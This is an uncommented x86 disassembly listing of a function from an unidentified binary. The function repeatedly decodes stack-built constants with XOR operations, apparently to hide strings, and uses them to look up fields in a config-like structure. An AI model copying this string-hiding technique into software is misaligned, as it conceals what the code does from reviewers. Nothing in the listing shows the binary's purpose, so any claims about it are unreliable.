mov dword [ebp - 0x558], 0x23d873d8
mov dword [ebp - 0x554], 0xaff386e6
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x1448], eax
mov dword [ebp - 0x1444], ecx
mov dword [ebp - 0x560], 0xa980d4ad
mov dword [ebp - 0x55c], 0xf3c01ed1
mov eax, dword [ebp - 0x560]
mov ecx, dword [ebp - 0x55c]
mov dword [ebp - 0x568], 0x61453c76
mov dword [ebp - 0x564], 0xa0df89f8
mov dword [ebp - 0x1b20], eax
mov eax, dword [ebp - 0x568]
mov dword [ebp - 0x1b1c], ecx
mov ecx, dword [ebp - 0x564]
mov dword [ebp - 0x570], 0x99c738e7
mov dword [ebp - 0x56c], 0x1b8ae46f
mov dword [ebp - 0x1b18], eax
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x1b14], ecx
mov ecx, dword [ebp - 0x56c]
mov dword [ebp - 0x1b10], eax
mov dword [ebp - 0x578], 0x23d873d8
mov dword [ebp - 0x1b0c], ecx
mov dword [ebp - 0x574], 0xaff386e6
mov eax, dword [ebp - 0x578]
mov ecx, dword [ebp - 0x574]
movaps xmm1, xmmword [ebp - 0x1460]
xorps xmm1, xmmword [ebp - 0x1b20]
movaps xmmword [ebp - 0x1460], xmm1
movaps xmm1, xmmword [ebp - 0x1450]
mov dword [ebp - 0x1b08], eax
lea eax, [ebp - 0x1460]
mov dword [ebp - 0x1b04], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b10]
push eax
movaps xmmword [ebp - 0x1450], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x580], 0xc2f2b5c0
mov dword [ebp - 0x57c], 0x96a87d8e
mov ecx, dword [ebp - 0x580]
mov edx, dword [ebp - 0x57c]
mov dword [ebp - 0x1480], ecx
mov dword [ebp - 0x147c], edx
mov dword [ebp - 0x588], 0x111a5715
mov dword [ebp - 0x584], 0xd7acfa99
mov ecx, dword [ebp - 0x588]
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x1478], ecx
mov dword [ebp - 0x1474], eax
mov dword [ebp - 0x590], 0xeaa34a88
mov dword [ebp - 0x58c], 0x1b8ae46f
mov eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x1470], eax
mov dword [ebp - 0x146c], ecx
mov dword [ebp - 0x598], 0x23d873d8
mov dword [ebp - 0x594], 0xaff386e6
mov eax, dword [ebp - 0x598]
mov ecx, dword [ebp - 0x594]
mov dword [ebp - 0x1468], eax
mov dword [ebp - 0x1464], ecx
mov dword [ebp - 0x5a0], 0xa980d4ad
mov dword [ebp - 0x59c], 0xf3c01ed1
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [ebp - 0x59c]
mov dword [ebp - 0x5a8], 0x61453c76
mov dword [ebp - 0x5a4], 0xa0df89f8
mov dword [ebp - 0x1b40], eax
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x1b3c], ecx
mov ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5b0], 0x99c738e7
mov dword [ebp - 0x5ac], 0x1b8ae46f
mov dword [ebp - 0x1b38], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x1b34], ecx
mov ecx, dword [ebp - 0x5ac]
mov dword [ebp - 0x1b30], eax
mov dword [ebp - 0x5b8], 0x23d873d8
mov dword [ebp - 0x1b2c], ecx
mov dword [ebp - 0x5b4], 0xaff386e6
mov eax, dword [ebp - 0x5b8]
mov ecx, dword [ebp - 0x5b4]
movaps xmm1, xmmword [ebp - 0x1480]
xorps xmm1, xmmword [ebp - 0x1b40]
movaps xmmword [ebp - 0x1480], xmm1
movaps xmm1, xmmword [ebp - 0x1470]
mov dword [ebp - 0x1b28], eax
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x1b24], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b30]
push eax
movaps xmmword [ebp - 0x1470], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x5c0], 0xc2f2b5c0
mov dword [ebp - 0x5bc], 0x96a87d8e
mov ecx, dword [ebp - 0x5c0]
mov edx, dword [ebp - 0x5bc]
mov dword [ebp - 0x14a0], ecx
mov dword [ebp - 0x149c], edx
mov dword [ebp - 0x5c8], 0x91a5715
mov dword [ebp - 0x5c4], 0xcfabfa91
mov ecx, dword [ebp - 0x5c8]
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x1498], ecx
mov dword [ebp - 0x1494], eax
mov dword [ebp - 0x5d0], 0x99c74195
mov dword [ebp - 0x5cc], 0x1b8ae46f
mov eax, dword [ebp - 0x5d0]
mov ecx, dword [ebp - 0x5cc]
mov dword [ebp - 0x1490], eax
mov dword [ebp - 0x148c], ecx
mov dword [ebp - 0x5d8], 0x23d873d8
mov dword [ebp - 0x5d4], 0xaff386e6
mov eax, dword [ebp - 0x5d8]
mov ecx, dword [ebp - 0x5d4]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x1484], ecx
mov dword [ebp - 0x5e0], 0xa980d4ad
mov dword [ebp - 0x5dc], 0xf3c01ed1
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [ebp - 0x5dc]
mov dword [ebp - 0x5e8], 0x61453c76
mov dword [ebp - 0x5e4], 0xa0df89f8
mov dword [ebp - 0x1b60], eax
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x1b5c], ecx
mov ecx, dword [ebp - 0x5e4]
mov dword [ebp - 0x5f0], 0x99c738e7
mov dword [ebp - 0x5ec], 0x1b8ae46f
mov dword [ebp - 0x1b58], eax
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x1b54], ecx
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp - 0x1b50], eax
mov dword [ebp - 0x5f8], 0x23d873d8
mov dword [ebp - 0x1b4c], ecx
mov dword [ebp - 0x5f4], 0xaff386e6
mov eax, dword [ebp - 0x5f8]
mov ecx, dword [ebp - 0x5f4]
movaps xmm1, xmmword [ebp - 0x14a0]
xorps xmm1, xmmword [ebp - 0x1b60]
movaps xmmword [ebp - 0x14a0], xmm1
movaps xmm1, xmmword [ebp - 0x1490]
mov dword [ebp - 0x1b48], eax
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x1b44], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1b50]
push eax
movaps xmmword [ebp - 0x1490], xmm1
call fcn.0041af80
mov ecx, eax
call fcn.0041b1e0
mov dword [ebp - 0x600], 0xc2f2b5c0
mov dword [ebp - 0x5fc], 0x9eaf7a8e
mov ecx, dword [ebp - 0x600]
mov edx, dword [ebp - 0x5fc]
mov dword [ebp - 0xfe0], ecx
mov dword [ebp - 0xfdc], edx
mov dword [ebp - 0x608], 0x122b5517
mov dword [ebp - 0x604], 0xa0df89f8
mov ecx, dword [ebp - 0x608]
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0xfd8], ecx
mov dword [ebp - 0xfd4], eax
mov dword [ebp - 0x610], 0xa980d4ad
mov dword [ebp - 0x60c], 0xf3c01ed1
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x1820], eax
mov dword [ebp - 0x618], 0x61453c76
mov dword [ebp - 0x181c], ecx
mov dword [ebp - 0x614], 0xa0df89f8
mov eax, dword [ebp - 0x618]
mov ecx, dword [ebp - 0x614]
movaps xmm1, xmmword [ebp - 0xfe0]
mov dword [ebp - 0x1818], eax
lea eax, [ebp - 0xfe0]
mov dword [ebp - 0x1814], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1820]
push eax
movaps xmmword [ebp - 0xfe0], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e40]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x620], 0xa980d481
mov dword [ebp - 0x61c], 0xf3c01ed1
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x61c]
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0xfec], ecx
mov dword [ebp - 0x628], 0x61453c76
mov dword [ebp - 0x624], 0xa0df89f8
mov eax, dword [ebp - 0x628]
mov ecx, dword [ebp - 0x624]
mov dword [ebp - 0xfe8], eax
mov dword [ebp - 0xfe4], ecx
mov dword [ebp - 0x630], 0xa980d4ad
mov dword [ebp - 0x62c], 0xf3c01ed1
mov eax, dword [ebp - 0x630]
mov ecx, dword [ebp - 0x62c]
mov dword [ebp - 0x638], 0x61453c76
mov dword [ebp - 0x634], 0xa0df89f8
mov dword [ebp - 0x1830], eax
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x182c], ecx
mov ecx, dword [ebp - 0x634]
mov dword [ebp - 0x1828], eax
movaps xmm1, xmmword [ebp - 0xff0]
lea eax, [ebp - 0xff0]
sub esp, 0x18
mov dword [ebp - 0x1824], ecx
xorps xmm1, xmmword [ebp - 0x1830]
mov ecx, esp
mov dword [ebp - 0x1c90], esp
movaps xmmword [ebp - 0xff0], xmm1
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x20
sub esp, 0x18
lea eax, [ebp - 0x1e40]
mov dword [ebp - 0x1c94], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x21
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x6c]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x640], 0xc2f2b5c0
mov dword [ebp - 0x63c], 0x86af7d8e
mov eax, dword [ebp - 0x640]
mov ecx, dword [ebp - 0x63c]
mov dword [ebp - 0x1000], eax
mov dword [ebp - 0xffc], ecx
mov dword [ebp - 0x648], 0x8374818
mov dword [ebp - 0x644], 0xa0dffa9d
mov eax, dword [ebp - 0x648]
mov ecx, dword [ebp - 0x644]
mov dword [ebp - 0xff8], eax
mov dword [ebp - 0xff4], ecx
mov dword [ebp - 0x650], 0xa980d4ad
mov dword [ebp - 0x64c], 0xf3c01ed1
mov eax, dword [ebp - 0x650]
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x1840], eax
mov dword [ebp - 0x658], 0x61453c76
mov dword [ebp - 0x183c], ecx
mov dword [ebp - 0x654], 0xa0df89f8
mov eax, dword [ebp - 0x658]
mov ecx, dword [ebp - 0x654]
movaps xmm1, xmmword [ebp - 0x1000]
mov dword [ebp - 0x1838], eax
lea eax, [ebp - 0x1000]
mov dword [ebp - 0x1834], ecx
lea ecx, [ebp - 0x270]
xorps xmm1, xmmword [ebp - 0x1840]
push eax
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x1000], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1e28]
push ecx
mov ecx, eax
call fcn.0041b0e0
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x1e18], 0
je 0x4857c0
mov dword [ebp - 0x660], 0xa980d481
sub esp, 0x18
mov dword [ebp - 0x65c], 0xf3c01ed1
mov eax, dword [ebp - 0x660]
mov ecx, dword [ebp - 0x65c]
mov dword [ebp - 0x1060], eax
mov dword [ebp - 0x105c], ecx
mov dword [ebp - 0x668], 0x61453c76
mov dword [ebp - 0x664], 0xa0df89f8
mov eax, dword [ebp - 0x668]
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x1054], ecx
mov dword [ebp - 0x670], 0xa980d4ad
mov dword [ebp - 0x66c], 0xf3c01ed1
mov eax, dword [ebp - 0x670]
mov ecx, dword [ebp - 0x66c]
mov dword [ebp - 0x1850], eax
mov dword [ebp - 0x678], 0x61453c76
mov dword [ebp - 0x184c], ecx
mov dword [ebp - 0x674], 0xa0df89f8
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0x674]
movaps xmm1, xmmword [ebp - 0x1060]
mov dword [ebp - 0x1848], eax
lea eax, [ebp - 0x1060]
mov dword [ebp - 0x1844], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x1850]
mov dword [ebp - 0x1c98], esp
push eax
movaps xmmword [ebp - 0x1060], xmm1
call fcn.00402cf0
mov byte [ebp - 4], 0x24
sub esp, 0x18
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x1c9c], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x15d8]
call fcn.004e3880
add esp, 0x30
mov byte [ebp - 4], 0x26
xor edi, edi
mov eax, dword [ebp - 0x15d4]
mov esi, dword [ebp - 0x15d8]
sub eax, esi
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4857a7
nop
cmp dword [ebx + 0x1c], 0xf
lea eax, [ebx + 8]
mov ecx, esi
cmova eax, dword [ebx + 8]
cmp dword [esi + 0x14], 0xf
jbe 0x485785
mov ecx, dword [esi]
push dword [ebx + 0x18]
mov edx, dword [esi + 0x10]
push eax
call fcn.00426f30
add esp, 8
test al, al
jne 0x4857a3
inc edi
add esi, 0x18
cmp edi, dword [ebp - 0x24]
jb 0x485770
jmp 0x4857a7
mov byte [ebp - 0x11], 1
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x15d8]
call fcn.004185d0
cmp byte [ebp - 0x11], 0
je 0x488124
cmp dword [ebp - 0x1e30], 0
je 0x488120
cmp byte [ebp - 0x1d], 0
je 0x4865a1
lea ecx, [ebx + 0x30]
call fcn.00413790
test eax, eax
je 0x485dc6
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebx + 0x30]
call fcn.0041b260
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0xc9]
mov ecx, dword [ebp - 0x1bc]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x160], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x485d9b
nop
cmp byte [ebp - 0x1c], 0
jne 0x485d9b
cmp byte [ecx + 0x28], 0
lea esi, [ecx + 0x28]
je 0x485d80
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x485d80
lea eax, [ebp - 0x140]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x1860]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x140]
nop word [eax + eax]
cmp esi, dword [ebp - 0x1860]
jne 0x48c445
movzx eax, byte [esi]
sub eax, 1
je 0x4858a5
sub eax, 1
je 0x485897
mov eax, dword [ebp - 0x134]
cmp eax, dword [ebp - 0x1854]
jmp 0x4858b1
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x1858]
jmp 0x4858b1
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x185c]
setne al
test al, al
je 0x485d80
lea ecx, [ebp - 0x140]
call fcn.00413200
cmp byte [ebp - 0x1c], 0
jne 0x485d80
lea ecx, [ebp - 0x1b4]
push ecx
mov ecx, eax
call fcn.0041b260
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0xca]
mov ecx, dword [ebp - 0x1b4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x158], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x485d03
nop word [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x485d03
lea esi, [ecx + 0x28]
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x485ce8
lea eax, [ebp - 0x10b0]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x1870]
push eax
call fcn.004137c0
nop word [eax + eax]
mov esi, dword [ebp - 0x10b0]
cmp esi, dword [ebp - 0x1870]
jne 0x48c40c
movzx eax, byte [esi]
mov edi, dword [ebp - 0x10a4]
mov ecx, eax
mov edx, dword [ebp - 0x10ac]
sub ecx, 1
je 0x485993
sub ecx, 1
je 0x485985
cmp edi, dword [ebp - 0x1864]
jmp 0x485999
mov ecx, dword [ebp - 0x10a8]
cmp ecx, dword [ebp - 0x1868]
jmp 0x485999
cmp edx, dword [ebp - 0x186c]
setne cl
test cl, cl
je 0x485ce8
sub eax, 0
je 0x48c3d3
sub eax, 1
je 0x4859c9
sub eax, 1
je 0x4859c1
test edi, edi
jne 0x48c20b
jmp 0x4859cc
mov esi, dword [ebp - 0x10a8]
jmp 0x4859cc
lea esi, [edx + 0x28]
cmp byte [ebp - 0x1c], 0
jne 0x485ce8
push 0x5629da
lea ecx, [ebp - 0x1e10]
call fcn.00402cf0
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x680], 0xc8edbbc9
mov dword [ebp - 0x67c], 0xf3c070b8
mov eax, dword [ebp - 0x680]
mov ecx, dword [ebp - 0x67c]
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x106c], ecx
mov dword [ebp - 0x688], 0x61453c76
mov dword [ebp - 0x684], 0xa0df89f8
mov eax, dword [ebp - 0x688]
mov ecx, dword [ebp - 0x684]
mov dword [ebp - 0x1068], eax
mov dword [ebp - 0x1064], ecx
mov dword [ebp - 0x690], 0xa980d4ad
mov dword [ebp - 0x68c], 0xf3c01ed1
mov eax, dword [ebp - 0x690]
mov ecx, dword [ebp - 0x68c]
mov dword [ebp - 0x1880], eax
mov dword [ebp - 0x698], 0x61453c76
mov dword [ebp - 0x187c], ecx
mov dword [ebp - 0x694], 0xa0df89f8
mov eax, dword [ebp - 0x698]
mov ecx, dword [ebp - 0x694]
movaps xmm1, xmmword [ebp - 0x1070]
mov dword [ebp - 0x1878], eax
lea eax, [ebp - 0x1070]
mov dword [ebp - 0x1874], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1880]
push eax
movaps xmmword [ebp - 0x1070], xmm1
call fcn.0041af80
cmp byte [eax], 0
je 0x485ba5
mov dword [ebp - 0x6a0], 0xc8edbbc9
mov dword [ebp - 0x69c], 0xf3c070b8
mov eax, dword [ebp - 0x6a0]
mov ecx, dword [ebp - 0x69c]
mov dword [ebp - 0x1090], eax
mov dword [ebp - 0x108c], ecx
mov dword [ebp - 0x6a8], 0x61453c76
mov dword [ebp - 0x6a4], 0xa0df89f8
mov eax, dword [ebp - 0x6a8]
mov ecx, dword [ebp - 0x6a4]
mov dword [ebp - 0x1088], eax
mov dword [ebp - 0x1084], ecx
mov dword [ebp - 0x6b0], 0xa980d4ad
mov dword [ebp - 0x6ac], 0xf3c01ed1
mov eax, dword [ebp - 0x6b0]
mov ecx, dword [ebp - 0x6ac]
mov dword [ebp - 0x1890], eax
mov dword [ebp - 0x6b8], 0x61453c76
mov dword [ebp - 0x188c], ecx
mov dword [ebp - 0x6b4], 0xa0df89f8
mov eax, dword [ebp - 0x6b8]
mov ecx, dword [ebp - 0x6b4]
movaps xmm1, xmmword [ebp - 0x1090]
mov dword [ebp - 0x1888], eax
lea eax, [ebp - 0x1090]
mov dword [ebp - 0x1884], ecx
mov ecx, esi
xorps xmm1, xmmword [ebp - 0x1890]
push eax
movaps xmmword [ebp - 0x1090], xmm1
call fcn.0041af80
push eax
lea ecx, [ebp - 0x1e10]
call fcn.0041b400
mov dword [ebp - 0x6c0], 0xa980d483
lea edx, [ebp - 0x10a0]
mov dword [ebp - 0x6bc], 0xf3c01ed1
sub esp, 0x18
mov eax, dword [ebp - 0x6c0]
mov ecx, dword [ebp - 0x6bc]
mov dword [ebp - 0x10a0], eax
mov dword [ebp - 0x109c], ecx
mov dword [ebp - 0x6c8], 0x61453c76
mov dword [ebp - 0x6c4], 0xa0df89f8
mov eax, dword [ebp - 0x6c8]
mov ecx, dword [ebp - 0x6c4]
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x1094], ecx
mov dword [ebp - 0x6d0], 0xa980d4ad
mov dword [ebp - 0x6cc], 0xf3c01ed1
mov eax, dword [ebp - 0x6d0]
mov ecx, dword [ebp - 0x6cc]
mov dword [ebp - 0x18a0], eax
mov dword [ebp - 0x6d8], 0x61453c76
mov dword [ebp - 0x189c], ecx
mov dword [ebp - 0x6d4], 0xa0df89f8
mov eax, dword [ebp - 0x6d8]
mov ecx, dword [ebp - 0x6d4]
movaps xmm1, xmmword [ebp - 0x10a0]
mov dword [ebp - 0x1898], eax
lea eax, [ebp - 0x1e10]
mov dword [ebp - 0x1894], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x18a0]
mov dword [ebp - 0x1ca0], esp
push eax
movaps xmmword [ebp - 0x10a0], xmm1
call fcn.0041ac50
mov byte [ebp - 4], 0x2e
sub esp, 8
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x1c84], esp
mov ecx, esp
mov byte [ebp - 0x1d], 0
push eax
call fcn.00415350
mov byte [ebp - 4], 0x2f
mov byte [ebp - 4], 0x2d
mov cl, byte [ebp - 0x1d]
call fcn.004d4280
mov ecx, dword [ebp - 0x1c]
add esp, 0x24
test al, al
movzx ecx, cl
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1e10]
call fcn.00402df0
lea ecx, [ebp - 0x10b0]
call fcn.004131b0
jmp 0x485950
lea ecx, [ebp - 0x158]
call fcn.00417990
mov ecx, dword [ebp - 0x158]
cmp byte [ecx + 0xd], 0
je 0x485910
mov byte [ebp - 4], 0x27
mov eax, dword [ebp - 0x1b4]
push dword [eax + 4]
lea eax, [ebp - 0x1b4]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1b4]
call fcn.004338e3
mov esi, dword [ebp - 0x140]
add esp, 8
movzx eax, byte [esi]
sub eax, 1
je 0x485d58
sub eax, 1
je 0x485d4c
inc dword [ebp - 0x134]
jmp 0x485870
add dword [ebp - 0x138], 0x10
jmp 0x485870
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x15c], eax
call fcn.00417990
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x13c], eax
jmp 0x485870
lea ecx, [ebp - 0x160]
call fcn.00417990
mov ecx, dword [ebp - 0x160]
cmp byte [ecx + 0xd], 0
je 0x485820
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0x1bc]
push dword [eax + 4]
lea eax, [ebp - 0x1bc]
push eax
mov ecx, eax
call fcn.0041d1d0
push 0x38
push dword [ebp - 0x1bc]
call fcn.004338e3
add esp, 8
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x4865a4
lea ecx, [ebx + 0x40]
call fcn.00413790
test eax, eax
je 0x4865a1
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebx + 0x40]
call fcn.0041b260
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0xd0]
mov ecx, dword [ebp - 0x1cc]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x174], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x486576
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x486576
cmp byte [ecx + 0x28], 0
lea esi, [ecx + 0x28]
je 0x48655b
mov ecx, esi
call fcn.00413790
test eax, eax
je 0x48655b
lea eax, [ebp - 0x110]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x18b0]
push eax
call fcn.004137c0
mov esi, dword [ebp - 0x110]
nop word [eax + eax]
cmp esi, dword [ebp - 0x18b0]
jne 0x48c57d
movzx ecx, byte [esi]
mov eax, ecx
sub eax, 1
je 0x485ea7
sub eax, 1
je 0x485e99
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x18a4]
jmp 0x485eb3
mov eax, dword [ebp - 0x108]
cmp eax, dword [ebp - 0x18a8]
jmp 0x485eb3
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x18ac]
setne al
test al, al
je 0x48655b
sub ecx, 0
je 0x48c544
sub ecx, 1
je 0x485ee8
sub ecx, 1
je 0x485ee0
cmp dword [ebp - 0x104], 0
jne 0x48c244
jmp 0x485ef1
mov esi, dword [ebp - 0x108]
jmp 0x485ef1
mov esi, dword [ebp - 0x10c]
add esi, 0x28
cmp byte [ebp - 0x1c], 0
jne 0x48655b
lea eax, [ebp - 0x1c4]
mov ecx, esi
push eax
call fcn.0041b260
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xcb]
mov ecx, dword [ebp - 0x1c4]
push eax
mov ecx, dword [ecx]
mov dword [ebp - 0x168], ecx
call fcn.00413660
cmp byte [ecx + 0xd], 0
jne 0x4864de
cmp byte [ebp - 0x1c], 0
jne 0x4864de
movzx eax, byte [ecx + 0x28]
lea esi, [ecx + 0x28]
sub eax, 0
je 0x4864c3
sub eax, 1
je 0x485f62
sub eax, 1
jne 0x485f70
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 4
jmp 0x485f68
mov eax, dword [esi + 8]
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4864c3
lea eax, [ebp - 0x100]
mov ecx, esi
push eax
call fcn.00413830
lea eax, [ebp - 0x18c0]
push eax
call fcn.004137c0
mov edi, dword [ebp - 0x100]
cmp edi, dword [ebp - 0x18c0]
jne 0x48c50b
movzx ecx, byte [edi]
mov eax, ecx
sub eax, 1
je 0x485fc7
sub eax, 1
je 0x485fb9
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x18b4]
jmp 0x485fd3
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x18b8]
jmp 0x485fd3
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x18bc]
setne al
test al, al
je 0x4864c3
sub ecx, 0
je 0x48c4d2
sub ecx, 1
je 0x486008
sub ecx, 1
je 0x486000
cmp dword [ebp - 0xf4], 0
jne 0x48c27d
jmp 0x486011
mov edi, dword [ebp - 0xf8]
jmp 0x486011
mov edi, dword [ebp - 0xfc]
add edi, 0x28
cmp byte [ebp - 0x1c], 0
jne 0x4864c3
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c08], 0
push 0x5629da
lea ecx, [ebp - 0x1c18]
mov dword [ebp - 0x1c04], 0
movups xmmword [ebp - 0x1c18], xmm0
call fcn.00403040
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0x6e0], 0xc8edbbc9
mov dword [ebp - 0x6dc], 0xf3c070b8
mov eax, dword [ebp - 0x6e0]
mov ecx, dword [ebp - 0x6dc]
mov dword [ebp - 0x10c0], eax
mov dword [ebp - 0x10bc], ecx
mov dword [ebp - 0x6e8], 0x61453c76
mov dword [ebp - 0x6e4], 0xa0df89f8
mov eax, dword [ebp - 0x6e8]
mov ecx, dword [ebp - 0x6e4]
mov dword [ebp - 0x10b8], eax
mov dword [ebp - 0x10b4], ecx
mov dword [ebp - 0x6f0], 0xa980d4ad
mov dword [ebp - 0x6ec], 0xf3c01ed1
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6ec]
mov dword [ebp - 0x6f8], 0x61453c76
mov dword [ebp - 0x18d0], eax
mov dword [ebp - 0x6f4], 0xa0df89f8
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x18cc], ecx
mov ecx, dword [ebp - 0x6f4]
movaps xmm1, xmmword [ebp - 0x10c0]
mov dword [ebp - 0x18c8], eax
mov dword [ebp - 0x18c4], ecx
xorps xmm1, xmmword [ebp - 0x18d0]
movaps xmmword [ebp - 0x10c0], xmm1
cmp byte [edi], 0
jne 0x48613b
push 1
lea ecx, [ebp - 0x1578]
mov byte [edi], 1
call fcn.00417ef0
mov eax, dword [ebp - 0x1578]
mov ecx, dword [ebp - 0x1574]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
cmp byte [edi], 1
jne 0x48c47e
mov esi, dword [edi + 8]
lea eax, [ebp - 0x10c0]
push eax
lea ecx, [ebp - 0x1f68]
call fcn.00402cf0
mov byte [ebp - 4], 0x3b
lea eax, [ebp - 0x1f68]
push eax
lea eax, [ebp - 0x1f18]
mov ecx, esi
push eax
call fcn.00426db0
mov esi, dword [eax]
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1f68]
call fcn.00402df0
cmp byte [esi + 0x28], 0
je 0x486285
mov dword [ebp - 0x700], 0xc8edbbc9
mov dword [ebp - 0x6fc], 0xf3c070b8
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x10d0], eax
mov dword [ebp - 0x10cc], ecx
mov dword [ebp - 0x708], 0x61453c76
mov dword [ebp - 0x704], 0xa0df89f8
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x704]
mov dword [ebp - 0x10c8], eax
mov dword [ebp - 0x10c4], ecx
mov dword [ebp - 0x710], 0xa980d4ad
mov dword [ebp - 0x70c], 0xf3c01ed1
mov eax, dword [ebp - 0x710]
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x18e0], eax
mov dword [ebp - 0x718], 0x61453c76
mov dword [ebp - 0x18dc], ecx
mov dword [ebp - 0x714], 0xa0df89f8
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x714]
movaps xmm1, xmmword [ebp - 0x10d0]
mov dword [ebp - 0x18d8], eax
lea eax, [ebp - 0x10d0]
mov dword [ebp - 0x18d4], ecx
mov ecx, edi
xorps xmm1, xmmword [ebp - 0x18e0]
push eax
movaps xmmword [ebp - 0x10d0], xmm1
call fcn.0041af80
lea ecx, [ebp - 0x1580]
push ecx
mov ecx, eax
call fcn.004219a0
push dword [ebp - 0x157c]
lea ecx, [ebp - 0x1c18]
push dword [ebp - 0x1580]
call fcn.00416130
mov dword [ebp - 0x720], 0xa980d483
lea edx, [ebp - 0x10e0]
